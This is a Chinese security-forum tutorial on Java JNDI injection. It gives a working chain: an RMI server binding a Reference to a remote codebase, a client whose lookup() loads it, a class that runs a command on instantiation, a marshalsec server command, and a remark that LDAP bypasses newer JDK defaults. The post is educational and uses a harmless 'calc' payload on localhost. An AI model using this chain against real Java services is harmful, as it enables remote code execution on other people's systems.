安全矩阵

 找回密码
 立即注册
搜索
查看: 2521|回复: 0

JAVA安全 JNDI注入攻击

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-4-18 17:02:46 | 显示全部楼层 |阅读模式
JAVA安全 JNDI注入攻击          转载自:JAVA安全 JNDI注入攻击

本文来学习JNDI注入,在此之前,先介绍一下JNDI是什么?
JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。
简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象
既然要玩JNDI注入,那么就先了解一些常用的函数。这里是找的网上的函数讲解,写的比较全。
InitialContext类
构造方法:

  1. InitialContext()
  2. 构建一个初始上下文。
  3. InitialContext(boolean lazy)
  4. 构造一个初始上下文,并选择不初始化它。
  5. InitialContext(Hashtable<?,?> environment)
  6. 使用提供的环境构建初始上下文。
复制代码
初始化上下文环境
  1. InitialContext initialContext = new InitialContext();
复制代码


常用方法:
  1. bind(Name name, Object obj)
  2. 将名称绑定到对象。
  3. list(String name)
  4. 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
  5. lookup(String name)
  6. 检索命名对象。
  7. rebind(String name, Object obj)
  8. 将名称绑定到对象,覆盖任何现有绑定。
  9. unbind(String name)
  10. 取消绑定命名对象。
复制代码
Reference类
该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法:
  1. Reference(String className)
  2. 为类名为“className”的对象构造一个新的引用。
  3. Reference(String className, RefAddr addr)
  4. 为类名为“className”的对象和地址构造一个新引用。
  5. Reference(String className, RefAddr addr, String factory, String factoryLocation)
  6. 为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
  7. Reference(String className, String factory, String factoryLocation)
  8. 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
复制代码
代码:
  1. <code>String url = " http://127.0.0.1:8080 ";</code><code>
  2. Reference reference = new Reference("test","test", url);</code>
复制代码


参数1:className - 远程加载时所使用的类名
参数2:classFactory - 加载的class中需要实例化类的名称
参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法:
  1. void add(int posn, RefAddr addr)
  2. 将地址添加到索引posn的地址列表中。
  3. void add(RefAddr addr)
  4. 将地址添加到地址列表的末尾。
  5. void clear()
  6. 从此引用中删除所有地址。
  7. RefAddr get(int posn)
  8. 检索索引posn上的地址。
  9. RefAddr get(String addrType)
  10. 检索地址类型为“addrType”的第一个地址。
  11. Enumeration<RefAddr> getAll()

  12. 检索本参考文献中地址的列举。

  13. String getClassName()
  14. 检索引用引用的对象的类名。
  15. String getFactoryClassLocation()
  16. 检索此引用引用的对象的工厂位置。
  17. String getFactoryClassName()
  18. 检索此引用引用对象的工厂的类名。
  19. Object remove(int posn)
  20. 从地址列表中删除索引posn上的地址。
  21. int size()
  22. 检索此引用中的地址数。
  23. String toString()
  24. 生成此引用的字符串表示形式。
复制代码



服务端代码编写
既然有了上方的知识,就编写一个服务端,这里在执行完Reference之后,又将其传到了ReferenceWrapper 中
  1. public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
  2. String url = " http://127.0.0.1/ ";
  3. Registry registry = LocateRegistry.createRegistry(1099);
  4. Reference reference = new Reference("test","test",url);
  5. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  6. registry.bind("work",referenceWrapper);

  7. }
复制代码

因为前面讲RMI的时候就说过了,需要继承UnicastRemoteObject类,实现Remote接口


RemoteRefernece继承了Remote

客户端代码编写
  1. public static void main(String[] args) throws NamingException, IOException {
  2. String uri = "rmi://127.0.0.1:1099/work";
  3. InitialContext initialContext = new InitialContext();//得到初始化目录的一个引用
  4. initialContext.lookup(uri);//获取远程对象
  5. System.out.println("Client Runing.    ");
  6. }
复制代码
其实这就是一个典型的JNDI注入,如果客户端的uri可控的话,就会加载rmi服务端的恶意类。从这里可以看出,恶意的类,我放到了web服务中。

恶意的代码:
javac ExecTest.java 这里在编译的时候,版本要一致。
  1. import java.io.IOException;
  2. public class test {
  3. public test() throws IOException {
  4.   Runtime.getRuntime().exec("calc");
  5.   }
  6. }
复制代码

之后就会执行命令



这里深入追一下,看看是如何执行命令的? 跟进initialContext.lookup
  1. public Object lookup(String name) throws NamingException {
  2. return getURLOrDefaultInitCtx(name).lookup(name);
  3. }
复制代码
之后继续跟进lookup
  1. public Object lookup(String var1) throws NamingException {
  2.   ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据
  3. Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象
  4. Object var4
  5. try {
  6. var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找
  7. } finally {
  8. var3.close();
  9. }
  10. return var4;
复制代码
再次跟进lookup并进入decodeObject
  1. public Object lookup(Name var1) throws NamingException {
  2. if (var1.isEmpty()) {
  3. return new RegistryContext(this);
  4. } else {
  5.   Remote var2;
  6. try {
  7.   var2 = this.registry.lookup(var1.get(0));
  8.   } catch (NotBoundException var4) {
  9. throw new NameNotFoundException(var1.get(0));
  10.   } catch (RemoteException var5) {
  11. throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
  12.   }
  13. return this.decodeObject(var2, var1.getPrefix(1));
  14.   }
  15. }
复制代码
//如果是Reference对象会,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文
件地址。
//如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI
服务。
  1. private Object decodeObject(Remote var1, Name var2) throws NamingException {
  2. try {
  3. Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
  4. return NamingManager.getObjectInstance(var3, var2, this, this.environment);
  5. }
  6. catch (NamingException var5) {
复制代码
decodeObject如下
  1. throw var5;
  2. } catch (RemoteException var6) {
  3. throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
  4. } catch (Exception var7) {
  5. NamingException var4 = new NamingException(); var4.setRootCause(var7);
  6. throw var4;
  7. }
  8. }
复制代码


再次跟进NamingManager.getObjectInstance
  1. // Use reference if possible
  2. Reference ref = null;
  3. if (refInfo instanceof Reference) {
  4. ref = (Reference) refInfo;
  5. } else if (refInfo instanceof Referenceable) {
  6. ref = ((Referenceable)(refInfo)).getReference();
  7. }
  8.   
  9. Object answer;

  10. if (ref != null) {
复制代码
接下来我拿出getObjectInstance一部分重要的代码来分析,这里将refInfo存到了一个临时变量ref中,并在12行获取类名之后。14行统一传入进去了
  1. String f = ref.getFactoryClassName(); if (f != null) {
  2. factory = getObjectFactoryFromReference(ref, f); if (factory != null) {
  3. return factory.getObjectInstance(ref, name, nameCtx,environment
  4. }
  5. return refInfo;
  6. }
复制代码

跟进getObjectFactoryFromReference,代码如下,很明显就会加载我们的恶意类
  1. static ObjectFactory getObjectFactoryFromReference(
  2. Reference ref, String factoryName)
  3. throws IllegalAccessException,
  4. InstantiationException,
  5. MalformedURLException {
  6. Class<?> clas = null;
  7.   
  8. try {
  9. clas = helper.loadClass(factoryName);
  10. } catch (ClassNotFoundException e) {
  11.   
  12.   }

  13. String codebase;
  14. if (clas == null &&
  15. (codebase = ref.getFactoryClassLocation()) != null) {
  16. //此处codebase是我们在恶意RMI服务端中定义的地址
  17. try {
  18. clas = helper.loadClass(factoryName, codebase);
  19. } catch (ClassNotFoundException e) {
  20.   }
  21.   }
  22. //实例化就会执行calc
  23. return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
  24. }
复制代码
但是服务端的话,其实不必每次都得自己写,直接推荐一款工具吧,会自己搭建RMI服务marshalsec https://github.com/mbechler/marshalsec

命令如下: http://127.0.0.1/#test 就是我们的恶意类,而8088就是开放的端口,不指定的话就是默认的1099

  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0. 0.1/#test 8088
复制代码



最终也是可以成功执行
结尾:
在高版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。而在低版本中这几个选项默认为true,可以远程加载一些类。可以使用ldap来进行绕过。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 13:26 , Processed in 0.014532 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表